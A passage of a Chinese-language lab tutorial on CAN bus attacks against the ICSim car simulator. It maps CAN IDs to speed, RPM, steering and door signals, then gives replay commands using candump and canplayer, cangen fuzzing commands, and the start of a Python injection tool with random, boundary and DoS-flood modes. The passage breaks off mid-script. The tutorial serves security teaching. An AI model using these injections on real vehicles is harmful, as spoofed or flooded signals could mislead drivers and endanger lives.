leaf=\"\">vcan0<\/span><\/span><span style=\"color: rgb(156, 220, 254);\"><span leaf=\"\">0x0C8<\/span><\/span><span leaf=\"\">&nbsp; [<\/span><span style=\"color: rgb(181, 206, 168);\"><span leaf=\"\">8<\/span><\/span><span leaf=\"\">] &nbsp;<\/span><span style=\"color: rgb(206, 145, 120);\"><span leaf=\"\">20 00 00 00 00 00 00 00<\/span><\/span><span style=\"background: rgb(232, 245, 233);color: rgb(46, 125, 50);padding: 1px 5px;border-radius: 3px;font-family: monospace;font-size: 13px;\"><span leaf=\"\"><br  \/><\/span><\/span><\/pre>\n<pre style=\"font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background: rgb(26, 26, 46);color: rgb(212, 212, 212);padding: 18px 20px;border-radius: 10px;font-family: &quot;Courier New&quot;, &quot;Fira Code&quot;, monospace;font-size: 13px;line-height: 1.7;overflow-x: auto;margin: 16px 0px;border-left: 4px solid rgb(21, 101, 192);box-shadow: rgba(0, 0, 0, 0.15) 0px 2px 8px;\" data-pm-slice=\"0 0 []\"><span style=\"background: rgb(232, 245, 233);color: rgb(46, 125, 50);padding: 1px 5px;border-radius: 3px;font-family: monospace;font-size: 13px;\"><span leaf=\"\">vcan0<\/span><\/span><span style=\"color: rgb(156, 220, 254);\"><span leaf=\"\">0x2A0<\/span><\/span><span leaf=\"\">&nbsp; [<\/span><span style=\"color: rgb(181, 206, 168);\"><span leaf=\"\">8<\/span><\/span><span leaf=\"\">] &nbsp;<\/span><span style=\"color: rgb(206, 145, 120);\"><span leaf=\"\">00 00 00 00 00 00 60 00<\/span><\/span><span style=\"background: rgb(232, 245, 233);color: rgb(46, 125, 50);padding: 1px 5px;border-radius: 3px;font-family: monospace;font-size: 13px;\"><span leaf=\"\"><br  \/><\/span><\/span><\/pre>\n<pre style=\"font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background: rgb(26, 26, 46);color: rgb(212, 212, 212);padding: 18px 20px;border-radius: 10px;font-family: &quot;Courier New&quot;, &quot;Fira Code&quot;, monospace;font-size: 13px;line-height: 1.7;overflow-x: auto;margin: 16px 0px;border-left: 4px solid rgb(21, 101, 192);box-shadow: rgba(0, 0, 0, 0.15) 0px 2px 8px;\" data-pm-slice=\"0 0 []\"><span style=\"background: rgb(232, 245, 233);color: rgb(46, 125, 50);padding: 1px 5px;border-radius: 3px;font-family: monospace;font-size: 13px;\"><span leaf=\"\">vcan0<\/span><\/span><span style=\"color: rgb(156, 220, 254);\"><span leaf=\"\">0x1A4<\/span><\/span><span leaf=\"\">&nbsp; [<\/span><span style=\"color: rgb(181, 206, 168);\"><span leaf=\"\">8<\/span><\/span><span leaf=\"\">] &nbsp;<\/span><span style=\"color: rgb(206, 145, 120);\"><span leaf=\"\">00 00 00 00 00 00 88 13<\/span><\/span><span style=\"color: rgb(128, 128, 128);\"><span leaf=\"\">&nbsp;<\/span><\/span><\/pre>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\" data-pm-slice=\"0 0 []\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">4.2 \u7b2c\u4e8c\u6b65\uff1a\u8bc6\u522b\u5173\u952e\u4fe1\u53f7ID<\/span><\/span><\/h3>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u901a\u8fc7\u76d1\u542c\uff0c\u7ed3\u5408\u64cd\u4f5cICSim\u63a7\u5236\u5668\u7684\u7ecf\u9a8c\uff0c\u6211\u4eec\u53ef\u4ee5\u8bc6\u522b\u51fa\u6bcf\u4e2a<\/span><span style=\"color: rgb(230, 81, 0);font-weight: 700;\"><span leaf=\"\">CAN ID<\/span><\/span><span leaf=\"\">\u5bf9\u5e94\u7684\u529f\u80fd\uff1a<\/span><\/p>\n<table style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;width: 680px;border-collapse: collapse;margin: 16px 0px;font-size: 14px;\">\n<tbody>\n<tr style=\"background: rgb(21, 101, 192);color: rgb(255, 255, 255);font-weight: 600;\">\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\"><span style=\"color: rgb(230, 81, 0);font-weight: 700;\"><span leaf=\"\">CAN ID<\/span><\/span><\/th>\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u4fe1\u53f7\u542b\u4e49<\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u6570\u636e\u89e3\u8bfb<\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u5b89\u5168\u5f71\u54cd<\/span><\/section>\n<\/th>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;font-family: monospace;color: rgb(192, 57, 43);\">\n<section><span leaf=\"\">0x1A4<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u8f66\u901f\u4fe1\u53f7<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u5b57\u82825-6\u5c0f\u7aef\u5e8f=\u901f\u5ea6\u503c(km\/h)<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;color: rgb(192, 57, 43);\">\n<section><span leaf=\"\">\u2b50\u2b50\u2b50\u2b50 \u6b3a\u9a97\u9a7e\u9a76\u5458<\/span><\/section>\n<\/td>\n<\/tr>\n<tr style=\"background: rgb(245, 247, 255);\">\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;font-family: monospace;color: rgb(192, 57, 43);\">\n<section><span leaf=\"\">0x0C8<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u53d1\u52a8\u673a\u8f6c\u901f<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u5b57\u82820-1\u5c0f\u7aef\u5e8f\u00d74=\u8f6c\u901f(rpm)<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;color: rgb(230, 126, 34);\">\n<section><span leaf=\"\">\u2b50\u2b50\u2b50 \u5e72\u6270\u9a7e\u9a76\u5224\u65ad<\/span><\/section>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;font-family: monospace;color: rgb(192, 57, 43);\">\n<section><span leaf=\"\">0x1F1<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u65b9\u5411\u76d8\u89d2\u5ea6<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u5b57\u82824-5=\u00b1120\u00b0\u8303\u56f4<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;color: rgb(192, 57, 43);\">\n<section><span leaf=\"\">\u2b50\u2b50\u2b50\u2b50 \u6f5c\u5728\u8f6c\u5411\u98ce\u9669<\/span><\/section>\n<\/td>\n<\/tr>\n<tr style=\"background: rgb(245, 247, 255);\">\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;font-family: monospace;color: rgb(192, 57, 43);\">\n<section><span leaf=\"\">0x2A0<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u8f66\u95e8\u72b6\u6001<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u5b57\u82821\u7684bit\u4f4d=\u5404\u8f66\u95e8\u5f00\u5173<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;color: rgb(39, 174, 96);\">\n<section><span leaf=\"\">\u2b50\u2b50 \u8f7b\u91cf\u5b89\u5168\u5f71\u54cd<\/span><\/section>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">4.3 \u7b2c\u4e09\u6b65\uff1a\u91cd\u653e\u653b\u51fb\uff08Replay Attack\uff09<\/span><\/span><\/h3>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u91cd\u653e\u653b\u51fb\u662f\u6700\u57fa\u7840\u7684<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u653b\u51fb\u2014\u2014\u5f55\u5236\u4e00\u6bb5\u6b63\u5e38\u6d41\u91cf\uff0c\u7136\u540e\u539f\u5c01\u4e0d\u52a8\u5730\u91cd\u590d\u64ad\u653e\uff0c\u6b3a\u9a97ECU\u3002<\/span><\/p>\n<section class=\"code-snippet__fix code-snippet__js\">\n<ul class=\"code-snippet__line-index code-snippet__js\">\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<\/ul>\n<pre class=\"code-snippet__js\" data-lang=\"bash\"><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u7ec8\u7aef1\uff1a\u5f55\u5236vcan0\u4e0a\u7684\u6240\u6709CAN\u5e27\u5230\u65e5\u5fd7\u6587\u4ef6<\/span><\/span><\/code><code><span leaf=\"\">candump vcan0 -l traffic.log<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u540c\u65f6\u5728\u53e6\u4e00\u4e2a\u7ec8\u7aef\u64cd\u4f5cICSsim\uff08\u2191\u52a0\u901f\u2193\u5239\u8f66\uff09\uff0c\u5f55\u523610-30\u79d2<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u64cd\u4f5c\u5b8c\u6210\u540e\u56de\u5230\u7ec8\u7aef1\u6309Ctrl+C\u505c\u6b62\u5f55\u5236<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u67e5\u770b\u5f55\u5236\u6587\u4ef6\u5185\u5bb9<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">cat<\/span>&nbsp;traffic.log<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u683c\u5f0f\uff1a(interface) (timestamp) (can_id)#(hex_data)<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u7ec8\u7aef2\uff1a\u91cd\u653e\u5f55\u5236\u7684\u6240\u6709CAN\u5e27<\/span><\/span><\/code><code><span leaf=\"\">canplayer -I traffic.log<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u6548\u679c\uff1aICSim\u4eea\u8868\u76d8\u5b8c\u5168\u91cd\u590d\u521a\u624d\u7684\u52a0\u901f\/\u5239\u8f66\u52a8\u4f5c\uff01<\/span><\/span><\/code><\/pre>\n<\/section>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\" data-pm-slice=\"0 0 []\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">4.4 \u7b2c\u56db\u6b65\uff1a<\/span><\/span><span style=\"color: rgb(198, 40, 40);font-weight: 700;\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">\u6a21\u7cca\u6ce8\u5165<\/span><\/span><\/span><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">\u653b\u51fb\uff08\u6838\u5fc3\u653b\u51fb\uff09<\/span><\/span><\/h3>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);margin-top: 20px;font-weight: 600;\"><span leaf=\"\">\u65b9\u6848A\uff1a\u4f7f\u7528cangen\u5de5\u5177\u8fdb\u884c\u968f\u673a\u6a21\u7cca\uff08\u63a8\u8350\u65b0\u624b\u5feb\u901f\u4e0a\u624b\uff09<\/span><\/h4>\n<section class=\"code-snippet__fix code-snippet__js\">\n<ul class=\"code-snippet__line-index code-snippet__js\">\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<\/ul>\n<pre class=\"code-snippet__js\" data-lang=\"apache\"><code><span leaf=\"\"><span class=\"code-snippet__comment\"># cangen\uff1acan-utils\u81ea\u5e26\u7684CAN\u5e27\u751f\u6210\/\u6a21\u7cca\u5de5\u5177<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u5411vcan0\u53d1\u900110000\u5e27\u968f\u673aCAN\u5e27\uff0c\u95f4\u96945\u6beb\u79d2<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__attribute\">cangen<\/span>&nbsp;vcan0 -g&nbsp;<span class=\"code-snippet__number\">5<\/span>&nbsp;-i&nbsp;<span class=\"code-snippet__number\">10000<\/span>&nbsp;-I R -L&nbsp;<span class=\"code-snippet__number\">8<\/span>&nbsp;-v<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u53c2\u6570\u8bf4\u660e\uff1a<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># -g 5 &nbsp; : \u6bcf\u5e27\u95f4\u96945\u6beb\u79d2\uff08\u6570\u503c\u8d8a\u5c0f\u6ce8\u5165\u8d8a\u5bc6\u96c6\uff09<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># -i N &nbsp; : \u603b\u5171\u53d1\u9001N\u5e27<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># -I R &nbsp; : CAN ID\u968f\u673a\u751f\u6210\uff08R=Random\uff09<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># -L 8 &nbsp; : \u6570\u636e\u957f\u5ea6\u56fa\u5b9a8\u5b57\u8282<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># -v &nbsp; &nbsp; : verbose\u6a21\u5f0f\uff0c\u663e\u793a\u6bcf\u5e27\u5185\u5bb9<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u53e6\u4e00\u4e2a\u7ec8\u7aef\u540c\u65f6\u89c2\u5bdfICSim\u4eea\u8868\u76d8<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u5e94\u8be5\u80fd\u770b\u5230\uff1a\u4eea\u8868\u6307\u9488\u6296\u52a8\u3001\u8df3\u53d8\u3001\u5f52\u96f6\u7b49\u5f02\u5e38\u73b0\u8c61<\/span><\/span><\/code><\/pre>\n<\/section>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);margin-top: 20px;font-weight: 600;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\u65b9\u6848B\uff1aPython\u811a\u672c\u7cbe\u51c6<\/span><span style=\"color: rgb(198, 40, 40);font-weight: 700;\"><span leaf=\"\">\u6a21\u7cca\u6ce8\u5165<\/span><\/span><span leaf=\"\">\uff08\u63a8\u8350\u6709\u7f16\u7a0b\u57fa\u7840\u7684\u5de5\u7a0b\u5e08\uff09<\/span><\/h4>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 2em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u4e0b\u9762\u7684Python\u811a\u672c\u63d0\u4f9b\u66f4\u7cbe\u7ec6\u7684\u63a7\u5236\u80fd\u529b\uff0c\u652f\u6301\u968f\u673a\u6a21\u7cca\u3001\u8fb9\u754c\u503c\u6a21\u7cca\u548c<\/span><span style=\"color: rgb(183, 28, 28);font-weight: 700;\"><span leaf=\"\">DoS<\/span><\/span><span leaf=\"\">\u6cdb\u6d2a\u4e09\u79cd\u6a21\u5f0f\uff1a<\/span><\/p>\n<section class=\"code-snippet__fix code-snippet__js\">\n<ul class=\"code-snippet__line-index code-snippet__js\">\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<\/ul>\n<pre class=\"code-snippet__js\" data-lang=\"python\"><code><span leaf=\"\"><span class=\"code-snippet__comment\">#!\/usr\/bin\/env python3<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__string\">\"\"\"<\/span><\/span><\/code><code><span leaf=\"\">can_fuzzy_inject.py<\/span><\/code><code><span leaf=\"\">CAN\u603b\u7ebf\u6a21\u7cca\u6ce8\u5165\u5de5\u5177<\/span><\/code><code><span leaf=\"\">\u652f\u6301\u4e09\u79cd\u653b\u51fb\u6a21\u5f0f\uff1a\u968f\u673a\u6a21\u7cca\u3001\u8fb9\u754c\u503c\u6a21\u7cca\u3001DoS\u6cdb\u6d2a<\/span><\/code><code><span leaf=\"\">\"\"\"<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__keyword\">import<\/span>&nbsp;os, time, random, argparse<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__keyword\">def<\/span>&nbsp;<span class=\"code-snippet__title\">parse_args<\/span>():<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; parser = argparse.ArgumentParser(<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; description=<span class=\"code-snippet__string\">'CAN\u603b\u7ebf\u6a21\u7cca\u6ce8\u5165\u5de5\u5177 v1.0'<\/span>,<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; formatter_class=argparse.RawDescriptionHelpFormatter,<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; epilog=<span class=\"code-snippet__string\">\"\"\"<\/span><\/span><\/code><code><span leaf=\"\">\u793a\u4f8b\u7528\u6cd5:<\/span><\/code><code><span leaf=\"\">&nbsp; \u968f\u673a\u6a21\u7cca\u6ce8\u5165: &nbsp; python3 can_fuzzy_inject.py vcan0 -n 5000<\/span><\/code><code><span leaf=\"\">&nbsp; \u8fb9\u754c\u503c\u6a21\u7cca: &nbsp; &nbsp; python3 can_fuzzy_inject.py vcan0 -n 2000 -m boundary -t 0x1A4<\/span><\/code><code><span leaf=\"\">&nbsp; DoS\u6cdb\u6d2a\u653b\u51fb: &nbsp; &nbsp;python3 can_fuzzy_inject.py vcan0 -n 10000 -m flood<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; \"\"\"<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; )<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; parser.add_argument(<span class=\"code-snippet__string\">'interface'<\/span>,&nbsp;<span class=\"code-snippet__built_in\">help<\/span>=<span class=\"code-snippet__string\">'CAN\u63a5\u53e3\u540d\uff0c\u5982vcan0'<\/span>)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; parser.add_argument(<span class=\"code-snippet__string\">'-n'<\/span>,&nbsp;<span class=\"code-snippet__string\">'--count'<\/span>,&nbsp;<span class=\"code-snippet__built_in\">type<\/span>=<span class=\"code-snippet__built_in\">int<\/span>, default=<span class=\"code-snippet__number\">1000<\/span>,<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">help<\/span>=<span class=\"code-snippet__string\">'\u6ce8\u5165\u5e27\u6570\u91cf\uff08\u9ed8\u8ba41000\uff09'<\/span>)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; parser.add_argument(<span class=\"code-snippet__string\">'-d'<\/span>,&nbsp;<span class=\"code-snippet__string\">'--delay'<\/span>,&nbsp;<span class=\"code-snippet__built_in\">type<\/span>=<span class=\"code-snippet__built_in\">float<\/span>, default=<span class=\"code-snippet__number\">0.01<\/span>,<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">help<\/span>=<span class=\"code-snippet__string\">'\u5e27\u95f4\u9694\u79d2\u6570\uff08\u9ed8\u8ba40.01\uff09'<\/span>)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; parser.add_argument(<span class=\"code-snippet__string\">'-t'<\/span>,&nbsp;<span class=\"code-snippet__string\">'--target-id'<\/span>,&nbsp;<span class=\"code-snippet__built_in\">type<\/span>=<span class=\"code-snippet__built_in\">str<\/span>, default=<span class=\"code-snippet__literal\">None<\/span>,<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">help<\/span>=<span class=\"code-snippet__string\">'\u76ee\u6807CAN ID\uff0c\u59820x1A4\uff08None\u5219\u968f\u673a\uff09'<\/span>)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; parser.add_argument(<span class=\"code-snippet__string\">'-m'<\/span>,&nbsp;<span class=\"code-snippet__string\">'--mode'<\/span>,<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; choices=[<span class=\"code-snippet__string\">'random'<\/span>,&nbsp;<span class=\"code-snippet__string\">'boundary'<\/span>,&nbsp;<span class=\"code-snippet__string\">'flood'<\/span>],<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; default=<span class=\"code-snippet__string\">'random'<\/span>,<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">help<\/span>=<span class=\"code-snippet__string\">'\u6a21\u7cca\u6a21\u5f0f'<\/span>)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__keyword\">return<\/span>&nbsp;parser.parse_args()<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__keyword\">def<\/span>&nbsp;<span class=\"code-snippet__title\">generate_fuzzy_data<\/span>(<span class=\"code-snippet__params\">mode=<\/span><span class=\"code-snippet__params\"><span class=\"code-snippet__string\">'random'<\/span><\/span>):<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__string\">\"\"\"\u751f\u6210\u4e0d\u540c\u7c7b\u578b\u7684\u6a21\u7cca\u6570\u636e\"\"\"<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__keyword\">if<\/span>&nbsp;mode ==&nbsp;<span class=\"code-snippet__string\">'random'<\/span>:<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__keyword\">return<\/span>&nbsp;<span class=\"code-snippet__built_in\">bytes<\/span>([random.randint(<span class=\"code-snippet__number\">0<\/span>,&nbsp;<span class=\"code-snippet__number\">255<\/span>)&nbsp;<span class=\"code-snippet__keyword\">for<\/span>&nbsp;_&nbsp;<span class=\"code-snippet__keyword\">in<\/span>&nbsp;<span class=\"code-snippet__built_in\">range<\/span>(<span class=\"code-snippet__number\">8<\/span>)])<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__keyword\">elif<\/span>&nbsp;mode ==&nbsp;<span 